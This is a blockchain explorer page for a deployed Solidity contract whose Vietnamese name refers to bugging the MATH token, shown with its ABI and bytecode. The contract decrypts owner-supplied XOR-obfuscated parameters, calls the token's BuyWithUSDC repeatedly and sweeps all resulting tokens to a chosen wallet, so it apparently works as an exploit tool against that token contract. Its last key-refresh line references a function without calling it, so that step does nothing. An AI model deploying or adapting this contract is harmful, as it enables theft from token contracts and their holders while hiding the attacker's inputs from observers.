false
true
0

Contract Address Details

0x5Cb332428a6374A63E79ebFd34938FB502Ee1223

Contract Name
HopDongBugTokenMATH_MaHoa
Creator
0x0eda9e–bfbd60 at 0xecae55–58dd44
Balance
0 PLS ( )
Tokens
Fetching tokens...
Transactions
Fetching transactions...
Transfers
Fetching transfers...
Gas Used
Fetching gas used...
Last Balance Update
25858659
Warning! Contract bytecode has been changed and doesn't match the verified one. Therefore, interaction with this smart contract may be risky.
This contract has been verified via Sourcify. View contract in Sourcify repository
Contract name:
HopDongBugTokenMATH_MaHoa




Optimization enabled
false
Compiler version
v0.8.31+commit.fd3a2265




EVM Version
osaka




Verified at
2026-02-06T16:27:37.686530Z

Constructor Arguments

000000000000000000000000e2fa2bc8f984ee73b65dc8af3072637c613f4eca

Arg [0] (address) : 0xe2fa2bc8f984ee73b65dc8af3072637c613f4eca

              

math - affection - Ma Hoa/hopDongBugTokenMath_MaHoa.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

// Interface của hợp đồng gốc để gọi hàm BuyWithUSDC
interface mathTokenContract {
    function BuyWithUSDC(uint256 amount) external;
}

interface hopDongTaoKeyMaHoaNgauNhien {
    function yeuCauLayKey(uint8 port) external returns (string memory);
    function yeuCauTaoKeyMoi(uint8 port) external;
}

// Interface ERC20 để tương tác với các token khác
interface ERC20_Token {
    function transfer(
        address recipient,
        uint256 amount
    ) external returns (bool);
    function balanceOf(address account) external view returns (uint256);
}

contract HopDongBugTokenMATH_MaHoa {
    mapping(address => bool) private owners;
    address private diaChiHopDongTaoKeyMaHoaNgauNhien;

    constructor(address _diaChiHopDongTaoKeyMaHoaNgauNhien) {
        owners[msg.sender] = true;
        diaChiHopDongTaoKeyMaHoaNgauNhien = _diaChiHopDongTaoKeyMaHoaNgauNhien;
    }

    // Hàm kiểm tra owner
    modifier onlyOwner() {
        require(owners[msg.sender], "Only owner can call this function");
        _;
    }

    // Hàm thêm owner mới
    function themOwner(address _owner) public onlyOwner {
        owners[_owner] = true;
    }

    // Hàm xóa owner
    function xoaOwner(address _owner) public onlyOwner {
        owners[_owner] = false;
    }

    // Hàm kiểm tra owner
    function kiemTraQuyenOwner(
        address _owner
    ) public view onlyOwner returns (bool) {
        return owners[_owner];
    }

    // Hàm giải mã XOR
    function giaiMaDuLieu(
        bytes memory data,
        bytes memory key
    ) internal pure returns (bytes memory) {
        bytes memory decrypted = new bytes(data.length);
        for (uint256 i = 0; i < data.length; i++) {
            decrypted[i] = data[i] ^ key[i % key.length];
        }
        return decrypted;
    }

    // Hàm nhận dữ liệu mã hóa từ client
    function nhanDuLieuMaHoaTuClient(
        bytes memory duLieuMaHoa,
        uint8 port
    ) public onlyOwner {
        // Lấy key mã hóa từ hợp đồng tạo key mã hóa
        string memory keyMaHoa = hopDongTaoKeyMaHoaNgauNhien(
            diaChiHopDongTaoKeyMaHoaNgauNhien
        ).yeuCauLayKey(port);

        // Giải mã dữ liệu
        bytes memory duLieuDaGiaiMa = giaiMaDuLieu(
            duLieuMaHoa,
            bytes(keyMaHoa)
        );

        // Tách các tham số từ dữ liệu đã giải mã
        (
            address diaChiCuaTokenMath,
            address diaChiViNhanTokenMath,
            uint256[] memory soLuongUSDC,
            uint256 tongSoLuongTokenMathMuonLay
        ) = abi.decode(duLieuDaGiaiMa, (address, address, uint256[], uint256));

        multiCallBuyWithUsdcAndWithdraw(
            diaChiCuaTokenMath,
            diaChiViNhanTokenMath,
            soLuongUSDC,
            tongSoLuongTokenMathMuonLay
        );
    }

    // Gọi hàm BuyWithUSDC nhiều lần và sau đó chuyển toàn bộ token về ví chủ sở hữu
    function multiCallBuyWithUsdcAndWithdraw(
        address diaChiCuaTokenMath,
        address viNhanTokenMath,
        uint256[] memory soLuongUSDC,
        uint256 tongSoLuongTokenMathMuonLay
    ) private {
        uint256 soLanThucHienVongLap = tongSoLuongTokenMathMuonLay;
        // Thực hiện gọi hàm BuyWithUSDC nhiều lần
        for (uint256 i = 0; i < soLanThucHienVongLap; i++) {
            mathTokenContract(diaChiCuaTokenMath).BuyWithUSDC(soLuongUSDC[i]);
        }

        // Sau khi mua, chuyển toàn bộ token từ contract về ví của chủ sở hữu
        uint256 soDuMathCuaContract = ERC20_Token(diaChiCuaTokenMath).balanceOf(
            address(this)
        );
        require(soDuMathCuaContract > 0, "rut Math ve vi that bai");

        // Thực hiện chuyển token về ví chủ sở hữu
        bool success = ERC20_Token(diaChiCuaTokenMath).transfer(
            viNhanTokenMath,
            soDuMathCuaContract
        );
        require(success, "khong the chuyen Math ve vi");

        // Gửi yêu cầu tạo key mã hóa mới
        hopDongTaoKeyMaHoaNgauNhien(diaChiHopDongTaoKeyMaHoaNgauNhien)
            .yeuCauTaoKeyMoi;
    }
}
        

Compiler Settings

{"remappings":[],"optimizer":{"runs":200,"enabled":false},"metadata":{"bytecodeHash":"ipfs"},"libraries":{},"evmVersion":"osaka","compilationTarget":{"math - affection - Ma Hoa/hopDongBugTokenMath_MaHoa.sol":"HopDongBugTokenMATH_MaHoa"}}
              

Contract ABI

[{"type":"constructor","stateMutability":"nonpayable","inputs":[{"type":"address","name":"_diaChiHopDongTaoKeyMaHoaNgauNhien","internalType":"address"}]},{"type":"function","stateMutability":"view","outputs":[{"type":"bool","name":"","internalType":"bool"}],"name":"kiemTraQuyenOwner","inputs":[{"type":"address","name":"_owner","internalType":"address"}]},{"type":"function","stateMutability":"nonpayable","outputs":[],"name":"nhanDuLieuMaHoaTuClient","inputs":[{"type":"bytes","name":"duLieuMaHoa","internalType":"bytes"},{"type":"uint8","name":"port","internalType":"uint8"}]},{"type":"function","stateMutability":"nonpayable","outputs":[],"name":"themOwner","inputs":[{"type":"address","name":"_owner","internalType":"address"}]},{"type":"function","stateMutability":"nonpayable","outputs":[],"name":"xoaOwner","inputs":[{"type":"address","name":"_owner","internalType":"address"}]}]
              

Contract Creation Code

0x608060405234801561000f575f5ffd5b506040516111ee3803806111ee83398181016040528101906100319190610129565b60015f5f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508060015f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050610154565b5f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6100f8826100cf565b9050919050565b610108816100ee565b8114610112575f5ffd5b50565b5f81519050610123816100ff565b92915050565b5f6020828403121561013e5761013d6100cb565b5b5f61014b84828501610115565b91505092915050565b61108d806101615f395ff3fe608060405234801561000f575f5ffd5b506004361061004a575f3560e01c80634e5d14bf1461004e57806392918f791461007e578063a13d67231461009a578063b62c99a5146100b6575b5f5ffd5b61006860048036038101906100639190610871565b6100d2565b60405161007591906108b6565b60405180910390f35b61009860048036038101906100939190610a41565b6101ab565b005b6100b460048036038101906100af9190610871565b610316565b005b6100d060048036038101906100cb9190610871565b6103f4565b005b5f5f5f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1661015b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161015290610b1b565b60405180910390fd5b5f5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff169050919050565b5f5f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16610233576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161022a90610b1b565b60405180910390fd5b5f60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663883e4b67836040518263ffffffff1660e01b815260040161028e9190610b48565b5f604051808303815f875af11580156102a9573d5f5f3e3d5ffd5b505050506040513d5f823e3d601f19601f820116820180604052508101906102d19190610c0d565b90505f6102de84836104d3565b90505f5f5f5f848060200190518101906102f89190610d86565b935093509350935061030c848484846105d6565b5050505050505050565b5f5f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1661039e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161039590610b1b565b60405180910390fd5b5f5f5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555050565b5f5f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1661047c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161047390610b1b565b60405180910390fd5b60015f5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555050565b60605f835167ffffffffffffffff8111156104f1576104f06108e7565b5b6040519080825280601f01601f1916602001820160405280156105235781602001600182028036833780820191505090505b5090505f5f90505b84518110156105cb57838451826105429190610e33565b8151811061055357610552610e63565b5b602001015160f81c60f81b85828151811061057157610570610e63565b5b602001015160f81c60f81b188282815181106105905761058f610e63565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff191690815f1a905350808060010191505061052b565b508091505092915050565b5f8190505f5f90505b81811015610674578573ffffffffffffffffffffffffffffffffffffffff166392c5bfc985838151811061061657610615610e63565b5b60200260200101516040518263ffffffff1660e01b815260040161063a9190610e9f565b5f604051808303815f87803b158015610651575f5ffd5b505af1158015610663573d5f5f3e3d5ffd5b5050505080806001019150506105df565b505f8573ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016106af9190610ec7565b602060405180830381865afa1580156106ca573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106ee9190610ee0565b90505f8111610732576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161072990610f55565b60405180910390fd5b5f8673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb87846040518363ffffffff1660e01b815260040161076e929190610f73565b6020604051808303815f875af115801561078a573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107ae9190610fc4565b9050806107f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107e790611039565b60405180910390fd5b60015f9054906101000a90505050505050505050565b5f604051905090565b5f5ffd5b5f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61084082610817565b9050919050565b61085081610836565b811461085a575f5ffd5b50565b5f8135905061086b81610847565b92915050565b5f602082840312156108865761088561080f565b5b5f6108938482850161085d565b91505092915050565b5f8115159050919050565b6108b08161089c565b82525050565b5f6020820190506108c95f8301846108a7565b92915050565b5f5ffd5b5f5ffd5b5f601f19601f8301169050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b61091d826108d7565b810181811067ffffffffffffffff8211171561093c5761093b6108e7565b5b80604052505050565b5f61094e610806565b905061095a8282610914565b919050565b5f67ffffffffffffffff821115610979576109786108e7565b5b610982826108d7565b9050602081019050919050565b828183375f83830152505050565b5f6109af6109aa8461095f565b610945565b9050828152602081018484840111156109cb576109ca6108d3565b5b6109d684828561098f565b509392505050565b5f82601f8301126109f2576109f16108cf565b5b8135610a0284826020860161099d565b91505092915050565b5f60ff82169050919050565b610a2081610a0b565b8114610a2a575f5ffd5b50565b5f81359050610a3b81610a17565b92915050565b5f5f60408385031215610a5757610a5661080f565b5b5f83013567ffffffffffffffff811115610a7457610a73610813565b5b610a80858286016109de565b9250506020610a9185828601610a2d565b9150509250929050565b5f82825260208201905092915050565b7f4f6e6c79206f776e65722063616e2063616c6c20746869732066756e6374696f5f8201527f6e00000000000000000000000000000000000000000000000000000000000000602082015250565b5f610b05602183610a9b565b9150610b1082610aab565b604082019050919050565b5f6020820190508181035f830152610b3281610af9565b9050919050565b610b4281610a0b565b82525050565b5f602082019050610b5b5f830184610b39565b92915050565b5f67ffffffffffffffff821115610b7b57610b7a6108e7565b5b610b84826108d7565b9050602081019050919050565b8281835e5f83830152505050565b5f610bb1610bac84610b61565b610945565b905082815260208101848484011115610bcd57610bcc6108d3565b5b610bd8848285610b91565b509392505050565b5f82601f830112610bf457610bf36108cf565b5b8151610c04848260208601610b9f565b91505092915050565b5f60208284031215610c2257610c2161080f565b5b5f82015167ffffffffffffffff811115610c3f57610c3e610813565b5b610c4b84828501610be0565b91505092915050565b5f610c5e82610817565b9050919050565b610c6e81610c54565b8114610c78575f5ffd5b50565b5f81519050610c8981610c65565b92915050565b5f67ffffffffffffffff821115610ca957610ca86108e7565b5b602082029050602081019050919050565b5f5ffd5b5f819050919050565b610cd081610cbe565b8114610cda575f5ffd5b50565b5f81519050610ceb81610cc7565b92915050565b5f610d03610cfe84610c8f565b610945565b90508083825260208201905060208402830185811115610d2657610d25610cba565b5b835b81811015610d4f5780610d3b8882610cdd565b845260208401935050602081019050610d28565b5050509392505050565b5f82601f830112610d6d57610d6c6108cf565b5b8151610d7d848260208601610cf1565b91505092915050565b5f5f5f5f60808587031215610d9e57610d9d61080f565b5b5f610dab87828801610c7b565b9450506020610dbc87828801610c7b565b935050604085015167ffffffffffffffff811115610ddd57610ddc610813565b5b610de987828801610d59565b9250506060610dfa87828801610cdd565b91505092959194509250565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f610e3d82610cbe565b9150610e4883610cbe565b925082610e5857610e57610e06565b5b828206905092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b610e9981610cbe565b82525050565b5f602082019050610eb25f830184610e90565b92915050565b610ec181610836565b82525050565b5f602082019050610eda5f830184610eb8565b92915050565b5f60208284031215610ef557610ef461080f565b5b5f610f0284828501610cdd565b91505092915050565b7f727574204d6174682076652076692074686174206261690000000000000000005f82015250565b5f610f3f601783610a9b565b9150610f4a82610f0b565b602082019050919050565b5f6020820190508181035f830152610f6c81610f33565b9050919050565b5f604082019050610f865f830185610eb8565b610f936020830184610e90565b9392505050565b610fa38161089c565b8114610fad575f5ffd5b50565b5f81519050610fbe81610f9a565b92915050565b5f60208284031215610fd957610fd861080f565b5b5f610fe684828501610fb0565b91505092915050565b7f6b686f6e67207468652063687579656e204d61746820766520766900000000005f82015250565b5f611023601b83610a9b565b915061102e82610fef565b602082019050919050565b5f6020820190508181035f83015261105081611017565b905091905056fea26469706673582212209d156a33a8fe626e78790e1a5bc42ef0a543c39163aad9dcee0fe053fc7eccf164736f6c634300081f0033000000000000000000000000e2fa2bc8f984ee73b65dc8af3072637c613f4eca

Deployed ByteCode

0x608060405234801561000f575f5ffd5b506004361061004a575f3560e01c80634e5d14bf1461004e57806392918f791461007e578063a13d67231461009a578063b62c99a5146100b6575b5f5ffd5b61006860048036038101906100639190610871565b6100d2565b60405161007591906108b6565b60405180910390f35b61009860048036038101906100939190610a41565b6101ab565b005b6100b460048036038101906100af9190610871565b610316565b005b6100d060048036038101906100cb9190610871565b6103f4565b005b5f5f5f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1661015b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161015290610b1b565b60405180910390fd5b5f5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff169050919050565b5f5f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16610233576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161022a90610b1b565b60405180910390fd5b5f60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663883e4b67836040518263ffffffff1660e01b815260040161028e9190610b48565b5f604051808303815f875af11580156102a9573d5f5f3e3d5ffd5b505050506040513d5f823e3d601f19601f820116820180604052508101906102d19190610c0d565b90505f6102de84836104d3565b90505f5f5f5f848060200190518101906102f89190610d86565b935093509350935061030c848484846105d6565b5050505050505050565b5f5f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1661039e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161039590610b1b565b60405180910390fd5b5f5f5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555050565b5f5f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1661047c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161047390610b1b565b60405180910390fd5b60015f5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555050565b60605f835167ffffffffffffffff8111156104f1576104f06108e7565b5b6040519080825280601f01601f1916602001820160405280156105235781602001600182028036833780820191505090505b5090505f5f90505b84518110156105cb57838451826105429190610e33565b8151811061055357610552610e63565b5b602001015160f81c60f81b85828151811061057157610570610e63565b5b602001015160f81c60f81b188282815181106105905761058f610e63565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff191690815f1a905350808060010191505061052b565b508091505092915050565b5f8190505f5f90505b81811015610674578573ffffffffffffffffffffffffffffffffffffffff166392c5bfc985838151811061061657610615610e63565b5b60200260200101516040518263ffffffff1660e01b815260040161063a9190610e9f565b5f604051808303815f87803b158015610651575f5ffd5b505af1158015610663573d5f5f3e3d5ffd5b5050505080806001019150506105df565b505f8573ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016106af9190610ec7565b602060405180830381865afa1580156106ca573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106ee9190610ee0565b90505f8111610732576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161072990610f55565b60405180910390fd5b5f8673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb87846040518363ffffffff1660e01b815260040161076e929190610f73565b6020604051808303815f875af115801561078a573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107ae9190610fc4565b9050806107f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107e790611039565b60405180910390fd5b60015f9054906101000a90505050505050505050565b5f604051905090565b5f5ffd5b5f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61084082610817565b9050919050565b61085081610836565b811461085a575f5ffd5b50565b5f8135905061086b81610847565b92915050565b5f602082840312156108865761088561080f565b5b5f6108938482850161085d565b91505092915050565b5f8115159050919050565b6108b08161089c565b82525050565b5f6020820190506108c95f8301846108a7565b92915050565b5f5ffd5b5f5ffd5b5f601f19601f8301169050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b61091d826108d7565b810181811067ffffffffffffffff8211171561093c5761093b6108e7565b5b80604052505050565b5f61094e610806565b905061095a8282610914565b919050565b5f67ffffffffffffffff821115610979576109786108e7565b5b610982826108d7565b9050602081019050919050565b828183375f83830152505050565b5f6109af6109aa8461095f565b610945565b9050828152602081018484840111156109cb576109ca6108d3565b5b6109d684828561098f565b509392505050565b5f82601f8301126109f2576109f16108cf565b5b8135610a0284826020860161099d565b91505092915050565b5f60ff82169050919050565b610a2081610a0b565b8114610a2a575f5ffd5b50565b5f81359050610a3b81610a17565b92915050565b5f5f60408385031215610a5757610a5661080f565b5b5f83013567ffffffffffffffff811115610a7457610a73610813565b5b610a80858286016109de565b9250506020610a9185828601610a2d565b9150509250929050565b5f82825260208201905092915050565b7f4f6e6c79206f776e65722063616e2063616c6c20746869732066756e6374696f5f8201527f6e00000000000000000000000000000000000000000000000000000000000000602082015250565b5f610b05602183610a9b565b9150610b1082610aab565b604082019050919050565b5f6020820190508181035f830152610b3281610af9565b9050919050565b610b4281610a0b565b82525050565b5f602082019050610b5b5f830184610b39565b92915050565b5f67ffffffffffffffff821115610b7b57610b7a6108e7565b5b610b84826108d7565b9050602081019050919050565b8281835e5f83830152505050565b5f610bb1610bac84610b61565b610945565b905082815260208101848484011115610bcd57610bcc6108d3565b5b610bd8848285610b91565b509392505050565b5f82601f830112610bf457610bf36108cf565b5b8151610c04848260208601610b9f565b91505092915050565b5f60208284031215610c2257610c2161080f565b5b5f82015167ffffffffffffffff811115610c3f57610c3e610813565b5b610c4b84828501610be0565b91505092915050565b5f610c5e82610817565b9050919050565b610c6e81610c54565b8114610c78575f5ffd5b50565b5f81519050610c8981610c65565b92915050565b5f67ffffffffffffffff821115610ca957610ca86108e7565b5b602082029050602081019050919050565b5f5ffd5b5f819050919050565b610cd081610cbe565b8114610cda575f5ffd5b50565b5f81519050610ceb81610cc7565b92915050565b5f610d03610cfe84610c8f565b610945565b90508083825260208201905060208402830185811115610d2657610d25610cba565b5b835b81811015610d4f5780610d3b8882610cdd565b845260208401935050602081019050610d28565b5050509392505050565b5f82601f830112610d6d57610d6c6108cf565b5b8151610d7d848260208601610cf1565b91505092915050565b5f5f5f5f60808587031215610d9e57610d9d61080f565b5b5f610dab87828801610c7b565b9450506020610dbc87828801610c7b565b935050604085015167ffffffffffffffff811115610ddd57610ddc610813565b5b610de987828801610d59565b9250506060610dfa87828801610cdd565b91505092959194509250565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f610e3d82610cbe565b9150610e4883610cbe565b925082610e5857610e57610e06565b5b828206905092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b610e9981610cbe565b82525050565b5f602082019050610eb25f830184610e90565b92915050565b610ec181610836565b82525050565b5f602082019050610eda5f830184610eb8565b92915050565b5f60208284031215610ef557610ef461080f565b5b5f610f0284828501610cdd565b91505092915050565b7f727574204d6174682076652076692074686174206261690000000000000000005f82015250565b5f610f3f601783610a9b565b9150610f4a82610f0b565b602082019050919050565b5f6020820190508181035f830152610f6c81610f33565b9050919050565b5f604082019050610f865f830185610eb8565b610f936020830184610e90565b9392505050565b610fa38161089c565b8114610fad575f5ffd5b50565b5f81519050610fbe81610f9a565b92915050565b5f60208284031215610fd957610fd861080f565b5b5f610fe684828501610fb0565b91505092915050565b7f6b686f6e67207468652063687579656e204d61746820766520766900000000005f82015250565b5f611023601b83610a9b565b915061102e82610fef565b602082019050919050565b5f6020820190508181035f83015261105081611017565b905091905056fea26469706673582212209d156a33a8fe626e78790e1a5bc42ef0a543c39163aad9dcee0fe053fc7eccf164736f6c634300081f0033